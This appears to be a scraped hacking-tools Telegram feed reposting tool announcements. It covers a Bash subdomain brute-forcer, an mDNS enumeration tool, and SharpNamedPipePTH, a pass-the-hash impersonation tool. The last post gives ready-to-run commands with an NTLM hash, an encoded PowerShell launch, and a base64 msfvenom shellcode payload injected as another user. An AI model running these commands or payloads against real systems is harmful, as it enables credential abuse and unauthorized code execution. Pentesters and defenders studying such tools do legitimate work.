Hacking Articles Tips Tricks Videos Tutorials
471 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Recon Tool: BF ActiveSub

Recon Tool: BF ActiveSubPost Views: 42 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Subdomain Brute-Force The Pure and Fast Programming WayA Subdomain enumeration tool that supports active attack mode (not passive recon) written by Black Hat Ethical Hacking What is Subdomain Enumeration/Brute-Force?Brute force means guessing possible combinations of the target until the expected output is discovered. So, in the subdomain context, the brute-forcing is to try the possible combination of words, alphabets, and numbers before the main domain in order to get a subdomain that is resolved to IP address. Sometimes subdomains are not indexed on search engines and are not available on online DNS aggregators sites in that case brute forcing is the best way to find out the subdomains which may have been forgotten by the organization. It is like a treasure for an adversary.

Our tool has 0 false positives as it verifies it before bringing the result, and is focused on active scanning rather than passive.

It will resolve if the Host is Alive and Output the Results after bruteforcing using Pipe for Speed – Bounty Quick Technique
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course About this ToolBF ActiveSub is a tool written by us in Bash. It was written for internal use to find more subdomains when performing Recon. ‘host’ is a Linux command that resolves a host if it’s alive by providing it with an IP. After brute-forcing it from a wordlist provided, that checks prefixes of 500/5000 top combinations. The way it’s written as we know stdin and stderr can be controlled, so we redirect it to &> /dev/null; which in the terminal world, it’s like black hole, and then after resolving if it exists, outputs the result in your terminal, or save it to a new list.

This is an Active Recon scan, and not Passive.

Pure BF, and allows you to get even more targets when you are performing Bug Bounty or Pentesting and you know you want to be different from just getting the same results everyone gets, using the same default tools and configs that will maximize your potential bounty, since you will have more subdomains to work with than others, and speed is very important in such action. Installation* Requirements: apt-get install lolcatapt-get install figlet* Installation git clone https://github.com/blackhatethicalhacking/bf_active_sub.gitcd bf_active_subchmod +x bheh_bf_sub.shTrending: OSINT Tool: Social Hunter
Trending: Offensive Security Tool: DDoS-Layer7-bheh Instructions and Usage ExampleTake a list that we provide, add a domain, and it will bruteforce it

Basically, using the below examples, you can perform in various one-liners since it supports piping as follows:

* Usage Example With Output in your Terminal: cat 500_Top_Prefix_subdomains.txt | ./bheh_bf_sub.sh example.comcat 5000_Top_Prefix_subdomains.txt | ./bheh_bf_sub.sh example.com* Usage Example With Output Saved in a new File: cat 500_Top_Prefix_subdomains.txt | ./bheh_bf_sub.sh example.com > resolved_domains.txtcat 5000_Top_Prefix_subdomains.txt | ./bheh_bf_sub.sh example.com > resolved_domains.txtIf you want to save the results, then simply add: > results.txt after your one-liner.

i.e: cat 500_Top_Prefix_subdomains.txt | ./bheh_bf_sub.sh example.com > resolved_domains.txt > results.txtScreenshotshttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/68747470733a2f2f696d6775722e636f6d2f64484145626e4e2e706e67-1024x458.png https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/19[...]
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Recon Tool: BF ActiveSub Recon Tool: BF ActiveSubPost Views: 42 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode. Reading Time: 3 Minutes Subdomain…
1523436-703b921d-a314-46bf-a50d-c060e54298b9-1024x198.png CompatibilityTested on Kali Linux, Parrot OS – Any Debian based that uses apt package manager.
Trending: How to Exploit “improper error handling” in Web Applications DisclaimerThis tool is provided for educational and research purpose only. The author of this project are no way responsible for any misuse of this tool. We use it to test under NDA agreements with clients and their consents for Pentesting purposes and we never encourage to misuse or take responsibility for any damage caused!
Clone the repo from here: GitHub Link
Trending: Write up: Hacking is an art, and so is subdomain enumeration https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/ReconSpider-300x150.png Recon Tool: ReconSpiderSeptember 23, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Social-Hunter-300x150.png OSINT Tool: Social HunterSeptember 22, 2022
Reading Time: 2 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/dnsReaper-300x150.png Offensive Security Tool: dnsReaperSeptember 16, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/fuxploider-300x150.png Offensive Security Tool: fuxploiderSeptember 9, 2022
Reading Time: 2 minutes https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Recon Tool: BF ActiveSub first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video
Dark Reading: Attacks/Breaches
What Lurks in the Shadows of Cloud Security?

Organizations looking to get ahead in cloud security have gone down the path of deploying CSPM tooling with good results. Still, there’s a clear picture that data security and security operations are next key areas of interest.
Hacking Articles Tips Tricks Videos Tutorials
Photo
KitPloit - PenTest Tools!
SpyCast - A Crossplatform mDNS Enumeration Tool

https://blogger.googleusercontent.com/img/a/AVvXsEgHcpB_kwRzDtlpUcYBO1EUsw74pQsZhJ4nBBcCCxDbwgcin7Fp5fRW3F_Z1u-Ccy8qf0CEgUlX2hAeiKkd7tO3sUfeQxWL4HAcOTgdlylDZx-6OLsaxXrmwo2KzPAZmJ9XTCzYhyMvZGe299sM0KE85boqPjvaS2gasNVgLh98gGHI8qWp_V6CXKuehQ=w640-h414
SpyCast is a crossplatform mDNS enumeration tool that can work either in active mode by recursively querying services, or in passive mode by only listening to multicast packets.
Building

cargo build --release

OS specific bundle packages (for example dmg and app bundles on OSX) can be built via:

cargo tauri build

SpyCast can also be built without the default UI, in which case all output will be printed on the terminal:

cargo build --no-default-features --release

Running

Run SpyCast in active mode (it will recursively query all available mDNS services):

./target/release/spycast

Run in passive mode (it won't produce any mDNS traffic and only listen for multicast packets):

./target/release/spycast --passive

Other options

Run spycast --helpfor the complete list of options.

License

This project is made with by @evilsocket and it is released under the GPL3 license.
Download Spycast

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
SharpNamedPipePTH : Pass The Hash To A Named Pipe For Token Impersonation

SharpNamedPipePTH is a C# tool to use Pass-the-Hash for authentication on a local Named Pipe for user Impersonation. You need a local administrator or SEImpersonate rights to use this. There is a blog post for explanation:

https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/

It is heavily based on the code from the project Sharp-SMBExec.

I faced certain Offensive Security project situations in the past, where I already had the NTLM-Hash of a low privilegeduser account and needed a shell for that user on the current compromised system – but that was not possible with the current public tools. Imagine two more facts for a situation like that – the NTLM Hash could not be cracked and there is no process of the victim user to execute shellcode in it or to migrate into that process. This may sound like an absurd edge-case for some of you. I still experienced that multiple times. Not only in one engagement I spend a lot of time searching for the right tool/technique in that specific situation.

My personal goals for a tool/technique were:

* Fully featured shell or C2-connection as the victim user-account
* It must to able to also Impersonate low privilegedaccounts – depending on engagement goals it might be needed to access a system with a specific user such as the CEO, HR-accounts, SAP-administrators or others
* The tool can be used as C2-module

The impersonated user unfortunately has no network authentication allowed, as the new process is using an Impersonation Token which is restricted. So you can only use this technique for local actions with another user.

There are two ways to use SharpNamedPipePTH. Either you can execute a binary (with or without arguments):

SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi67FytWhNGCnP6sKzfxE8JxYLMLd7LICKIyQ3lSFzIABQvQftt1niD_H_QD1_-VpF8owrfFtkVIazQGYZ67W-smFrhukKNlCpE6rx6V7ZwkcPN0nZRPcrG84DsbpQZY3K5dYN3lw8js888TXYRBxyb_b9a6HqBBY1h2xsMd4f6f7MMOEwvnixarBUQ/s1019/Example1.jpeg
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"

Or you can execute shellcode as the other user:

SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=

Which is msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.

I’m not happy with the shellcode execution yet, as it’s currently spawning notepad as the impersonated user and injects shellcode into that new process via D/Invoke CreateRemoteThread Syscall. I’m still looking for possibility to spawn a process in the background or execute shellcode without having a process of the target user for memory allocation.
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhm5LGl1vGD6MOm0KwObvdgCerIhQCUdgfQNUp3DNZtqCacWT3XoezCQfB2ReYt_JvOwk5Wt5UYqPUnSXvzJU3YGZgKXqeEtKAn9NkGd3U9F7dSknkuixruFD0yHyMqdaVTeRqxhw9pAfuFgvEvv3Mgz1mxEwH6e3GQYOxPyRm3NKIj2ZgZwz_MpPSn/s1049/Example2.jpeg

Download

___________________________
@hacking_Attack
@Hacking_Video